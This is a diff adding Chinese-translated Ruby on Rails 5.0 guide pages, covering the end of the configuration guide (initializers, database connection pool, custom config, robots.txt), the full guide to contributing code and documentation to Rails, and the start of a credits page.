  • action_controller.compile_config_methods:初始化指定的配置选项,得到方法,以便快速访问。

  • +
  • active_record.initialize_timezone:把 ActiveRecord::Base.time_zone_aware_attributes 设为 true,并把 ActiveRecord::Base.default_timezone 设为 UTC。从数据库中读取属性时,转换成 Time.zone 指定的时区。

  • +
  • active_record.logger:把 ActiveRecord::Base.logger 设为 Rails.logger(如果还未设定)。

  • +
  • active_record.migration_error:配置中间件,检查待运行的迁移。

  • +
  • active_record.check_schema_cache_dump:如果配置了,而且有缓存,加载模式缓存转储。

  • +
  • active_record.warn_on_records_fetched_greater_than:查询返回大量记录时启用提醒。

  • +
  • active_record.set_configs:使用 config.active_record 设置 Active Record,把方法名作为设值方法发给 ActiveRecord::Base,并传入选项的值。

  • +
  • active_record.initialize_database:从 config/database.yml 中加载数据库配置,并在当前环境中连接数据库。

  • +
  • active_record.log_runtime:引入 ActiveRecord::Railties::ControllerRuntime,把 Active Record 调用的耗时记录到日志中。

  • +
  • active_record.set_reloader_hooks:如果 config.cache_classes 设为 false,还原所有可重新加载的数据库连接。

  • +
  • active_record.add_watchable_files:把 schema.rbstructure.sql 添加到可监视的文件列表中。

  • +
  • active_job.logger:把 ActiveJob::Base.logger 设为 Rails.logger(如果还未设定)。

  • +
  • active_job.set_configs:使用 config.active_job 设置 Active Job,把方法名作为设值方法发给 ActiveJob::Base,并传入选项的值。

  • +
  • action_mailer.logger:把 ActionMailer::Base.logger 设为 Rails.logger(如果还未设定)。

  • +
  • action_mailer.set_configs:使用 config.action_mailer 设定 Action Mailer,把方法名作为设值方法发给 ActionMailer::Base,并传入选项的值。

  • +
  • action_mailer.compile_config_methods:初始化指定的配置选项,得到方法,以便快速访问。

  • +
  • set_load_path:在 bootstrap_hook 之前运行。把 config.load_paths 指定的路径和所有自动加载路径添加到 $LOAD_PATH 中。

  • +
  • set_autoload_paths:在 bootstrap_hook 之前运行。把 app 目录中的所有子目录,以及 config.autoload_pathsconfig.eager_load_pathsconfig.autoload_once_paths 指定的路径添加到 ActiveSupport::Dependencies.autoload_paths 中。

  • +
  • add_routing_paths:加载所有的 config/routes.rb 文件(应用和 Railtie 中的,包括引擎),然后设置应用的路由。

  • +
  • add_locales:把(应用、Railtie 和引擎的)config/locales 目录中的文件添加到 I18n.load_path 中,让那些文件中的翻译可用。

  • +
  • add_view_paths:把应用、Railtie 和引擎的 app/views 目录添加到应用查找视图文件的路径中。

  • +
  • load_environment_config:加载 config/environments 目录中针对当前环境的配置文件。

  • +
  • prepend_helpers_path:把应用、Railtie 和引擎中的 app/helpers 目录添加到应用查找辅助方法的路径中。

  • +
  • load_config_initializers:加载应用、Railtie 和引擎中 config/initializers 目录里的全部 Ruby 文件。这个目录中的文件可用于存放应该在加载完全部框架之后设定的设置。

  • +
  • engines_blank_point:在初始化过程中提供一个点,以便在加载引擎之前做些事情。在这一点之后,运行所有 Railtie 和引擎初始化脚本。

  • +
  • add_generator_templates:寻找应用、Railtie 和引擎中 lib/templates 目录里的生成器模板,把它们添加到 config.generators.templates 设置中,供所有生成器引用。

  • +
  • ensure_autoload_once_paths_as_subset:确保 config.autoload_once_paths 只包含 config.autoload_paths 中的路径。如果有额外路径,抛出异常。

  • +
  • add_to_prepare_blocks:把应用、Railtie 或引擎中的每个 config.to_prepare 调用都添加到 Action Dispatch 的 to_prepare 回调中。这些回调在开发环境中每次请求都运行,在生产环境中只在第一次请求之前运行。

  • +
  • add_builtin_route:如果应用在开发环境中运行,把针对 rails/info/properties 的路由添加到应用的路由中。这个路由在 Rails 应用的 public/index.html 文件中提供一些详细信息,例如 Rails 和 Ruby 的版本。

  • +
  • build_middleware_stack:为应用构建中间件栈,返回一个对象,它有一个 call 方法,参数是请求的 Rack 环境对象。

  • +
  • eager_load!:如果 config.eager_loadtrue,运行 config.before_eager_load 钩子,然后调用 eager_load!,加载全部 config.eager_load_namespaces

  • +
  • finisher_hook:在应用初始化过程结束的位置提供一个钩子,并且运行应用、Railtie 和引擎的所有 config.after_initialize 块。

  • +
  • set_routes_reloader:让 Action Dispatch 使用 ActionDispatch::Callbacks.to_prepare 重新加载路由文件。

  • +
  • disable_dependency_loading:如果 config.eager_loadtrue,禁止自动加载依赖。

  • +
+

7 数据库池

Active Record 数据库连接由 ActiveRecord::ConnectionAdapters::ConnectionPool 管理,确保连接池的线程访问量与有限个数据库连接数同步。这一限制默认为 5,可以在 database.yml 文件中配置。

+
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+
+
+
+

连接池默认在 Active Record 内部处理,因此所有应用服务器(Thin、mongrel、Unicorn,等等)的行为应该一致。数据库连接池一开始是空的,随着连接数的增加,会不断创建,直至连接池上限。

每个请求在首次访问数据库时会检出连接,请求结束再检入连接。这样,空出的连接位置就可以提供给队列中的下一个请求使用。

如果连接数超过可用值,Active Record 会阻塞,等待池中有空闲的连接。如果无法获得连接,会抛出类似下面的超时错误。

+
+ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds)
+
+
+
+

如果出现上述错误,可以考虑增加连接池的数量,即在 database.yml 文件中增加 pool 选项的值。

如果是多线程环境,有可能多个线程同时访问多个连接。因此,如果请求量很大,极有可能发生多个线程争夺有限个连接的情况。

8 自定义配置

我们可以通过 Rails 配置对象为自己的代码设定配置。如下所示:

+
+config.payment_processing.schedule = :daily
+config.payment_processing.retries  = 3
+config.super_debugger = true
+
+
+
+

这些配置选项可通过配置对象访问:

+
+Rails.configuration.payment_processing.schedule # => :daily
+Rails.configuration.payment_processing.retries  # => 3
+Rails.configuration.super_debugger              # => true
+Rails.configuration.super_debugger.not_set      # => nil
+
+
+
+

还可以使用 Rails::Application.config_for 加载整个配置文件:

+
+# config/payment.yml:
+production:
+  environment: production
+  merchant_id: production_merchant_id
+  public_key:  production_public_key
+  private_key: production_private_key
+development:
+  environment: sandbox
+  merchant_id: development_merchant_id
+  public_key:  development_public_key
+  private_key: development_private_key
+
+
+
+
+
+# config/application.rb
+module MyApp
+  class Application < Rails::Application
+    config.payment = config_for(:payment)
+  end
+end
+
+
+
+
+
+Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id
+
+
+
+

9 搜索引擎索引

有时,你可能不想让应用中的某些页面出现在搜索网站中,如 Google、Bing、Yahoo 或 Duck Duck Go。索引网站的机器人首先分析 http://your-site.com/robots.txt 文件,了解允许它索引哪些页面。

Rails 为你创建了这个文件,在 /public 文件夹中。默认情况下,允许搜索引擎索引应用的所有页面。如果不想索引应用的任何页面,使用下述内容:

+
+User-agent: *
+Disallow: /
+
+
+
+

若想禁止索引指定的页面,需要使用更复杂的句法。详情参见官方文档

10 事件型文件系统监控程序

如果加载了 listen gem,而且 config.cache_classesfalse,Rails 使用一个事件型文件系统监控程序监测变化:

+
+group :development do
+  gem 'listen', '~> 3.0.4'
+end
+
+
+
+

否则,每次请求 Rails 都会遍历应用树,检查有没有变化。

在 Linux 和 macOS 中无需额外的 gem,*BSDWindows 可能需要。

注意,某些设置不支持

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/contributing_to_ruby_on_rails.html b/v5.0/contributing_to_ruby_on_rails.html new file mode 100644 index 0000000..4d8922d --- /dev/null +++ b/v5.0/contributing_to_ruby_on_rails.html @@ -0,0 +1,641 @@ + + + + + + + +为 Ruby on Rails 做贡献 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

为 Ruby on Rails 做贡献

本文介绍几种参与 Ruby on Rails 开发的方式。

读完本文后,您将学到:

+
    +
  • 如何使用 GitHub 报告问题;

  • +
  • 如果克隆 master,运行测试组件;

  • +
  • 如何帮助解决现有问题;

  • +
  • 如何为 Ruby on Rails 文档做贡献;

  • +
  • 如何为 Ruby on Rails 代码做贡献。

  • +
+

Ruby on Rails 不是某一个人的框架。这些年,有成百上千个人为 Ruby on Rails 做贡献,小到修正一个字符,大到调整重要的架构或文档——目的都是把 Ruby on Rails 变得更好,适合所有人使用。即便你现在不想编写代码或文档,也能通过其他方式做贡献,例如报告问题和测试补丁。

Rails 的自述文件说道,参与 Rails 及其子项目代码基开发的人,参与问题追踪系统、聊天室和邮件列表的人,都要遵守 Rails 的行为准则

+ + + +
+
+ +
+
+
+

1 报告错误

Ruby on Rails 使用 GitHub 的问题追踪系统追踪问题(主要是解决缺陷和贡献新代码)。如果你发现 Ruby on Rails 有缺陷,首先应该发布到这个系统中。若想提交问题、评论问题或创建拉取请求, 你要注册一个 GitHub 账户(免费)。

Ruby on Rails 最新版的缺陷最受关注。此外,Rails 核心团队始终欢迎能对最新开发版做测试的人反馈。本文后面会说明如何测试最新开发版。

1.1 创建一个缺陷报告

如果你在 Ruby on Rails 中发现一个没有安全风险的问题,在 GitHub 的问题追踪系统中搜索一下,说不定已经有人报告了。如果之前没有人报告,接下来你要创建一个。(报告安全问题的方法参见下一节。)

问题报告应该包含标题,而且要使用简洁的语言描述问题。你应该尽量多提供相关的信息,而且至少要有一个代码示例,演示所述的问题。如果能提供一个单元测试,说明预期行为更好。你的目标是让你自己以及其他人能重现缺陷,找出修正方法。

然后,耐心等待。除非你报告的是紧急问题,会导致世界末日,否则你要等待可能有其他人也遇到同样的问题,与你一起去解决。不要期望你报告的问题能立即得到关注,有人立刻着手解决。像这样报告问题基本上是让自己迈出修正问题的第一步,并且让其他遇到同样问题的人复议。

1.2 创建可执行的测试用例

提供重现问题的方式有助于别人帮你确认、研究并最终解决问题。为此,你可以提供可执行的测试用例。为了简化这一过程,我们准备了几个缺陷报告模板供你参考:

+
    +
  • 报告 Active Record(模型、数据库)问题的模板:gem / master

  • +
  • 报告 Action Pack(控制器、路由)问题的模板:gem / master

  • +
  • 其他问题的通用模板:gem / master

  • +
+

这些模板包含样板代码,供你着手编写测试用例,分别针对 Rails 的发布版(*_gem.rb)和最新开发版(*_master.rb)。

你只需把相应模板中的内容复制到一个 .rb 文件中,然后做必要的改动,说明问题。如果想运行测试,只需在终端里执行 ruby the_file.rb。如果一切顺利,测试用例应该失败。

随后,可以通过一个 gist 分享你的可执行测试用例,或者直接粘贴到问题描述中。

1.3 特殊对待安全问题

请不要在公开的 GitHub 问题报告中报告安全漏洞。安全问题的报告步骤在 Rails 安全方针页面中有详细说明。

1.4 功能请求怎么办?

请勿在 GitHub 问题追踪系统中请求新功能。如果你想把新功能添加到 Ruby on Rails 中,你要自己编写代码,或者说服他人与你一起编写代码。本文后面会详述如何为 Ruby on Rails 提请补丁。如果在 GitHub 问题追踪系统发布希望含有的功能,但是没有提供代码,在审核阶段会将其标记为“无效”。

有时,很难区分“缺陷”和“功能”。一般来说,功能是为了添加新行为,而缺陷是导致不正确行为的缘由。有时,核心团队会做判断。尽管如此,区别通常影响的是补丁放在哪个发布版中。我们十分欢迎你提交功能!只不过,新功能不会添加到维护分支中。

如果你想在着手打补丁之前征询反馈,请向 rails-core 邮件列表发送电子邮件。你可能得不到回应,这表明大家是中立的。你可能会发现有人对你提议的功能感兴趣;可能会有人说你的提议不可行。但是新想法就应该在那里讨论。GitHub 问题追踪系统不是集中讨论特性请求的正确场所。

2 帮助解决现有问题

除了报告问题之外,你还可以帮助核心团队解决现有问题。如果查看 GitHub 中的问题列表,你会发现很多问题都得到了关注。为此你能做些什么呢?其实,你能做的有很多。

2.1 确认缺陷报告

对新人来说,帮助确认缺陷报告就行了。你能在自己的电脑中重现报告的问题吗?如果能,可以在问题的评论中说你发现了同样的问题。

如果问题描述不清,你能帮忙说得更具体些吗?或许你可以提供额外的信息,帮助重现缺陷,或者去掉说明问题所不需要的步骤。

如果发现缺陷报告中没有测试,你可以贡献一个失败测试。这是学习源码的好机会:查看现有的测试文件能让你学到如何编写更好的测试。新测试最好以补丁的形式提供,详情参阅 为 Rails 代码做贡献

不管你自己写不写代码,只要你能把缺陷报告变得更简洁、更便于重现,就能为尝试修正缺陷的人提供帮助。

2.2 测试补丁

你还可以帮忙检查通过 GitHub 为 Ruby on Rails 提交的拉取请求。在使用别人的改动之前,你要创建一个专门的分支:

+
+$ git checkout -b testing_branch
+
+
+
+

然后可以使用他们的远程分支更新代码基。假如 GitHub 用户 JohnSmith 派生了 Rails 源码,地址是 https://github.com/JohnSmith/rails,然后推送到主题分支“orange”:

+
+$ git remote add JohnSmith https://github.com/JohnSmith/rails.git
+$ git pull JohnSmith orange
+
+
+
+

然后,使用主题分支中的代码做测试。下面是一些考虑的事情:

+
    +
  • 改动可用吗?

  • +
  • 你对测试满意吗?你能理解测试吗?缺少测试吗?

  • +
  • 有适度的文档覆盖度吗?其他地方的文档需要更新吗?

  • +
  • 你喜欢他的实现方式吗?你能以更好或更快的方式实现部分改动吗?

  • +
+

拉取请求中的改动让你满意之后,在 GitHub 问题追踪系统中发表评论,表明你赞成。你的评论应该说你喜欢这个改动,以及你的观点。比如说:

+
+

我喜欢你对 generate_finder_sql 这部分代码的调整,现在更好了。测试也没问题。

+
+

如果你的评论只是说“+1”,其他评审很难严肃对待。你要表明你花时间审查拉取请求了。

3 为 Rails 文档做贡献

Ruby on Rails 主要有两份文档:这份指南,帮你学习 Ruby on Rails;API,作为参考资料。

你可以帮助改进这份 Rails 指南,把它变得更简单、更为一致,也更易于理解。你可以添加缺少的信息、更正错误、修正错别字或者针对最新的 Rails 开发版做更新。

如果经常做贡献,可以向 Rails 发送拉取请求,或者向 Rails 核心团队索要 docrails 的提交权限。请勿直接向 docrails 发送拉取请求,如果想征询别人对你的改动有何意见,在 Rails 的问题追踪系统中询问。

docrails 定期合并到 master 分支,因此 Ruby on Rails 的文档能得到及时更新。

如果你对文档的改动有疑问,可以在 Rails 的问题追踪系统发工单。

如果你想为文档做贡献,请阅读API 文档指导方针Ruby on Rails 指南指导方针

前面说过,常规的代码补丁应该有适当的文档覆盖度。docrails 项目只是为了在单独的地方改进文档。

为了减轻 CI 服务器的压力,关于文档的提交消息中应该包含 [ci skip],跳过构建步骤。只修改文档的提交一定要这么做。

docrails 有个十分严格的方针:不能触碰任何代码,不管改动有多小都不行。通过 docrails 只能编辑 RDoc 和指南。此外,在 docrails 中也不能编辑 CHANGELOG。

4 翻译 Rails 指南

我们欢迎人们自发把 Rails 指南翻译成其他语言。如果你想把 Rails 指南翻译成你的母语,请遵照下述步骤:

+
    +
  • 派生项目(rails/rails)

  • +
  • 为你的语言添加一个文件夹,例如针对意大利语的 guides/source/it-IT

  • +
  • 把 guides/source 中的内容复制到你创建的文件夹中,然后翻译

  • +
  • 不要翻译 HTML 文件,因为那是自动生成的

  • +
+

如果想生成这份指南的 HTML 格式,进入 guides 目录,然后执行(以 it-IT 为例):

+
+$ bundle install
+$ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT
+
+
+
+

上述命令在 output 目录中生成这份指南。

上述说明针对 Rails 4 及以上版本。Redcarpet gem 无法在 JRuby 中使用。

已知的翻译成果:

+ +

5 为 Rails 代码做贡献

5.1 搭建开发环境

过了提交缺陷这个初级阶段之后,若想帮助解决现有问题,或者为 Ruby on Rails 贡献自己的代码,必须要能运行测试组件。这一节教你在自己的电脑中搭建测试的环境。

5.1.1 简单方式

搭建开发环境最简单、也是推荐的方式是使用 Rails 开发虚拟机

5.1.2 笨拙方式

如果你不便使用 Rails 开发虚拟机,请阅读安装开发依赖

5.2 克隆 Rails 仓库

若想贡献代码,需要克隆 Rails 仓库:

+
+$ git clone https://github.com/rails/rails.git
+
+
+
+

然后创建一个专门的分支:

+
+$ cd rails
+$ git checkout -b my_new_branch
+
+
+
+

分支的名称无关紧要,因为这个分支只存在于你的本地电脑和你在 GitHub 上的个人仓库中,不会出现在 Rails 的 Git 仓库里。

5.3 bundle install

安装所需的 gem:

+
+$ bundle install
+
+
+
+

5.4 使用本地分支运行应用

如果想使用虚拟的 Rails 应用测试改动,执行 rails new 命令时指定 --dev 旗标,使用本地分支生成一个应用:

+
+$ cd rails
+$ bundle exec rails new ~/my-test-app --dev
+
+
+
+

上述命令使用本地分支在 ~/my-test-app 目录中生成一个应用,重启服务器后便能看到改动的效果。

5.5 编写你的代码

现在可以着手添加和编辑代码了。你处在自己的分支中,可以编写任何你想编写的代码(使用 git branch -a 确定你处于正确的分支中)。不过,如果你打算把你的改动提交到 Rails 中,要注意几点:

+
    +
  • 代码要写得正确。

  • +
  • 使用 Rails 习惯用法和辅助方法。

  • +
  • 包含测试,在没有你的代码时失败,添加之后则通过。

  • +
  • 更新(相应的)文档、别处的示例和指南。只要受你的代码影响,都更新。

  • +
+

装饰性的改动,没有为 Rails 的稳定性、功能或可测试性做出实质改进的改动一般不会接受(关于这一决定的讨论参见这里)。

5.5.1 遵守编程约定

Rails 遵守下述简单的编程风格约定:

+
    +
  • (缩进)使用两个空格,不用制表符。

  • +
  • 行尾没有空白。空行不能有任何空白。

  • +
  • 私有和受保护的方法多一层缩进。

  • +
  • 使用 Ruby 1.9 及以上版本采用的散列句法。使用 { a: :b },而非 { :a => :b }

  • +
  • 较之 and/or,尽量使用 &&/||

  • +
  • 编写类方法时,较之 self.method,尽量使用 class << self

  • +
  • 使用 my_method(my_arg),而非 my_method( my_arg )my_method my_arg

  • +
  • 使用 a = b,而非 a=b

  • +
  • 使用 assert_not 方法,而非 refute

  • +
  • 编写单行块时,较之 method{do_stuff},尽量使用 method { do_stuff }

  • +
  • 遵照源码中在用的其他约定。

  • +
+

以上是指导方针,使用时请灵活应变。

5.6 对你的代码做基准测试

如果你的改动对 Rails 的性能有影响,请使用 benchmark-ips gem 做基准测试,并提供测试结果以供比较。

下面是使用 benchmark-ips 的一个示例:

+
+require 'benchmark/ips'
+
+Benchmark.ips do |x|
+  x.report('addition') { 1 + 2 }
+  x.report('addition with send') { 1.send(:+, 2) }
+end
+
+
+
+

上述代码会生成一份报告,包含下述信息:

+
+Calculating -------------------------------------
+            addition   132.013k i/100ms
+  addition with send   125.413k i/100ms
+-------------------------------------------------
+            addition      9.677M (± 1.7%) i/s -     48.449M
+  addition with send      6.794M (± 1.1%) i/s -     33.987M
+
+
+
+

详情参见 benchmark-ips 的自述文件

5.7 运行测试

在推送改动之前,通常不运行整个测试组件。railties 的测试组件所需的时间特别长,如果按照推荐的工作流程,使用 rails-dev-box 把源码挂载到 /vagrant,时间更长。

作为一种折中方案,应该测试明显受到影响的代码;如果不是改动 railties,运行受影响的组件的整个测试组件。如果所有测试都能通过,表明你可以提请你的贡献了。为了捕获别处预料之外的问题,我们配备了 Travis CI,作为一个安全保障。

5.7.1 整个 Rails

运行全部测试:

+
+$ cd rails
+$ bundle exec rake test
+
+
+
+
5.7.2 某个组件

可以只运行某个组件(如 Action Pack)的测试。例如,运行 Action Mailer 的测试:

+
+$ cd actionmailer
+$ bundle exec rake test
+
+
+
+
5.7.3 运行单个测试

可以通过 ruby 运行单个测试。例如:

+
+$ cd actionmailer
+$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout
+
+
+
+

-n 选项指定运行单个方法,而非整个文件。

5.7.4 测试 Active Record

首先,创建所需的数据库。对 MySQL 和 PostgreSQL 来说,运行 SQL 语句 create database activerecord_unittestcreate database activerecord_unittest2 就行。SQLite3 无需这一步。

只使用 SQLite3 运行 Active Record 的测试组件:

+
+$ cd activerecord
+$ bundle exec rake test:sqlite3
+
+
+
+

然后分别运行:

+
+test:mysql2
+test:postgresql
+
+
+
+

最后,一次运行前述三个测试:

+
+$ bundle exec rake test
+
+
+
+

也可以单独运行某个测试:

+
+$ ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb
+
+
+
+

使用全部适配器运行某个测试:

+
+$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb
+
+
+
+

此外,还可以调用 test_jdbcmysqltest_jdbcsqlite3test_jdbcpostgresql。针对其他数据库的测试参见 activerecord/RUNNING_UNIT_TESTS.rdoc 文件,持续集成服务器运行的测试组件参见 ci/travis.rb 文件。

5.8 提醒

运行测试组件的命令启用了提醒。理想情况下,Ruby on Rails 不应该发出提醒,不过你可能会见到一些,其中部分可能来自第三方库。如果看到提醒,请忽略(或修正),然后提交不发出提醒的补丁。

如果确信自己在做什么,想得到干净的输出,可以覆盖这个旗标:

+
+$ RUBYOPT=-W0 bundle exec rake test
+
+
+
+

5.9 更新 CHANGELOG

CHANGELOG 是每次发布的重要一环,保存着每个 Rails 版本的改动列表。

如果添加或删除了功能、提交了缺陷修正,或者添加了弃用提示,应该在框架的 CHANGELOG 顶部添加一条记录。重构和文档修改一般不应该在 CHANGELOG 中记录。

CHANGELOG 中的记录应该概述所做的改动,并且在末尾加上作者的名字。如果需要,可以写成多行,也可以缩进四个空格,添加代码示例。如果改动与某个工单有关,应该加上工单号。下面是一条 CHANGELOG 记录示例:

+
+*   Summary of a change that briefly describes what was changed. You can use multiple
+    lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
+
+        class Foo
+          def bar
+            puts 'baz'
+          end
+        end
+
+    You can continue after the code example and you can attach issue number. GH#1234
+
+    *Your Name*
+
+
+
+

如果没有代码示例,或者没有分成多行,可以直接在最后一个词后面加上作者的名字。否则,最好新起一段。

5.10 更新 Gemfile.lock

有些改动需要更新依赖。此时,要执行 bundle update 命令,获取依赖的正确版本,并且随改动一起提交 Gemfile.lock 文件。

5.11 健全性检查

在提交之前,你不一定是唯一查看代码的人。如果你认识其他使用 Rails 的人,试着邀请他们检查你的代码。如果不认识使用 Rails 的人,可以在 IRC 聊天室中找人帮忙,或者在 rails-core 邮件列表中发布你的想法。在公开补丁之前做检查是一种“冒烟测试”:如果你不能让另一个开发者认同你的代码,核心团队可能也不会认同。

5.12 提交改动

在自己的电脑中对你的代码满意之后,要把改动提交到 Git 仓库中:

+
+$ git commit -a
+
+
+
+

上述命令会启动编辑器,让你编写一个提交消息。写完之后,保存并关闭编辑器,然后继续往下做。

行文好,而且具有描述性的提交消息有助于别人理解你为什么做这项改动,因此请认真对待提交消息。

好的提交消息类似下面这样:

+
+Short summary (ideally 50 characters or less)
+
+More detailed description, if necessary. It should be wrapped to
+72 characters. Try to be as descriptive as you can. Even if you
+think that the commit content is obvious, it may not be obvious
+to others. Add any description that is already present in the
+relevant issues; it should not be necessary to visit a webpage
+to check the history.
+
+The description section can have multiple paragraphs.
+
+Code examples can be embedded by indenting them with 4 spaces:
+
+    class ArticlesController
+      def index
+        render json: Article.limit(10)
+      end
+    end
+
+You can also add bullet points:
+
+- make a bullet point by starting a line with either a dash (-)
+  or an asterisk (*)
+
+- wrap lines at 72 characters, and indent any additional lines
+  with 2 spaces for readability
+
+
+
+

如果合适,请把多条提交压缩成一条提交。这样便于以后挑选,而且能保持 Git 日志整洁。

5.13 更新你的分支

你在改动的过程中,master 分支很有可能有变化。请获取这些变化:

+
+$ git checkout master
+$ git pull --rebase
+
+
+
+

然后在最新的改动上重新应用你的补丁:

+
+$ git checkout my_new_branch
+$ git rebase master
+
+
+
+

没有冲突?测试依旧能通过?你的改动依然合理?那就往下走。

5.14 派生

打开 GitHub 中的 Rails 仓库,点击右上角的“Fork”按钮。

把派生的远程仓库添加到本地设备中的本地仓库里:

+
+$ git remote add mine https://github.com:<your user name>/rails.git
+
+
+
+

推送到你的远程仓库:

+
+$ git push mine my_new_branch
+
+
+
+

你可能已经把派生的仓库克隆到本地设备中了,因此想把 Rails 仓库添加为远程仓库。此时,要这么做。

在你克隆的派生仓库的目录中:

+
+$ git remote add rails https://github.com/rails/rails.git
+
+
+
+

从官方仓库中下载新提交和分支:

+
+$ git fetch rails
+
+
+
+

合并新内容:

+
+$ git checkout master
+$ git rebase rails/master
+
+
+
+

更新你派生的仓库:

+
+$ git push origin master
+
+
+
+

如果想更新另一个分支:

+
+$ git checkout branch_name
+$ git rebase rails/branch_name
+$ git push origin branch_name
+
+
+
+

5.15 创建拉取请求

打开你刚刚推送的目标仓库(例如 https://github.com/your-user-name/rails),点击“New pull request”按钮。

如果需要修改比较的分支(默认比较 master 分支),点击“Edit”,然后点击“Click to create a pull request for this comparison”。

确保包含你所做的改动。填写补丁的详情,以及一个有意义的标题。然后点击“Send pull request”。Rails 核心团队会收到关于此次提交的通知。

5.16 获得反馈

多数拉取请求在合并之前会经过几轮迭代。不同的贡献者有时有不同的观点,而且有些补丁要重写之后才能合并。

有些 Rails 贡献者开启了 GitHub 的邮件通知,有些则没有。此外,Rails 团队中(几乎)所有人都是志愿者,因此你的拉取请求可能要等几天才能得到第一个反馈。别失望!有时快,有时慢。这就是开源世界的日常。

如果过了一周还是无人问津,你可以尝试主动推进。你可以在 rubyonrails-core 邮件列表中发消息,也可以在拉取请求中发一个评论。

在你等待反馈的过程中,可以再创建其他拉取请求,也可以给别人的拉取请求反馈。我想,他们会感激你的,正如你会感激给你反馈的人一样。

5.17 必要时做迭代

很有可能你得到的反馈是让你修改。别灰心,为活跃的开源项目做贡献就要跟上社区的步伐。如果有人建议你调整代码,你应该做调整,然后重新提交。如果你得到的反馈是,你的代码不应该添加到核心中,或许你可以考虑发布成一个 gem。

5.17.1 压缩提交

我们要求你做的一件事可能是让你“压缩提交”,把你的全部提交合并成一个提交。我们喜欢只有一个提交的拉取请求。这样便于把改动逆向移植(backport)到稳定分支中,压缩后易于还原不良提交,而且 Git 历史条理更清晰。Rails 是个大型项目,过多无关的提交容易扰乱视线。

为此,Git 仓库中要有一个指向官方 Rails 仓库的远程仓库。这样做是有必要的,如果你还没有这么做,确保先执行下述命令:

+
+$ git remote add upstream https://github.com/rails/rails.git
+
+
+
+

这个远程仓库的名称随意,如果你使用的不是 upstream,请相应修改下述说明。

假设你的远程分支是 my_pull_request,你要这么做:

+
+$ git fetch upstream
+$ git checkout my_pull_request
+$ git rebase -i upstream/master
+
+< Choose 'squash' for all of your commits except the first one. >
+< Edit the commit message to make sense, and describe all your changes. >
+
+$ git push origin my_pull_request -f
+
+
+
+

此时,GitHub 中的拉取请求会刷新,更新为最新的提交。

5.17.2 更新拉取请求

有时,你得到的反馈是让你修改已经提交的代码。此时可能需要修正现有的提交。在这种情况下,Git 不允许你推送改动,因为你推送的分支和本地分支不匹配。你无须重新发起拉取请求,而是可以强制推送到 GitHub 中的分支,如前一节的压缩提交命令所示:

+
+$ git push origin my_pull_request -f
+
+
+
+

这个命令会更新 GitHub 中的分支和拉取请求。不过注意,强制推送可能会导致远程分支中的提交丢失。使用时要小心。

5.18 旧版 Ruby on Rails

如果想修正旧版 Ruby on Rails,要创建并切换到本地跟踪分支(tracking branch)。下例切换到 4-0-stable 分支:

+
+$ git branch --track 4-0-stable origin/4-0-stable
+$ git checkout 4-0-stable
+
+
+
+

为了明确知道你处于代码的哪个版本,可以把 Git 分支名放到 shell 提示符中

5.18.1 逆向移植

合并到 master 分支中的改动针对 Rails 的下一个主发布版。有时,你的改动可能需要逆向移植到旧的稳定分支中。一般来说,安全修正和缺陷修正会做逆向移植,而新特性和引入行为变化的补丁不会这么做。如果不确定,在逆向移植之前最好询问一位 Rails 团队成员,以免浪费精力。

对简单的修正来说,逆向移植最简单的方法是根据 master 分支的改动提取差异(diff),然后在目标分支应用改动。

首先,确保你的改动是当前分支与 master 分支之间的唯一差别:

+
+$ git log master..HEAD
+
+
+
+

然后,提取差异:

+
+$ git format-patch master --stdout > ~/my_changes.patch
+
+
+
+

切换到目标分支,然后应用改动:

+
+$ git checkout -b my_backport_branch 3-2-stable
+$ git apply ~/my_changes.patch
+
+
+
+

简单的改动可以这么做。然而,如果改动较为复杂,或者 master 分支的代码与目标分支之间差异巨大,你可能要做更多的工作。逆向移植的工作量有大有小,有时甚至不值得为此付出精力。

解决所有冲突,并且确保测试都能通过之后,推送你的改动,然后为逆向移植单独发起一个拉取请求。还应注意,旧分支的构建目标可能与 master 分支不同。如果可能,提交拉取请求之前最好在本地使用 .travis.yml 文件中给出的 Ruby 版本测试逆向移植。

然后……可以思考下一次贡献了!

6 Rails 贡献者

所有贡献者,不管是通过 master 还是 docrails 贡献的,都在 Rails Contributors 页面中列出。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/credits.html b/v5.0/credits.html new file mode 100644 index 0000000..80aee15 --- /dev/null +++ b/v5.0/credits.html @@ -0,0 +1,312 @@ + + + + + + + +Ruby on Rails Guides: Credits + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Credits

+ +

We'd like to thank the following people for their tireless contributions to this project.

+ + + + +
+
+ +
+
+
+ + +

Rails Guides Reviewers

+ +
Vijay Dev

Vijay Dev

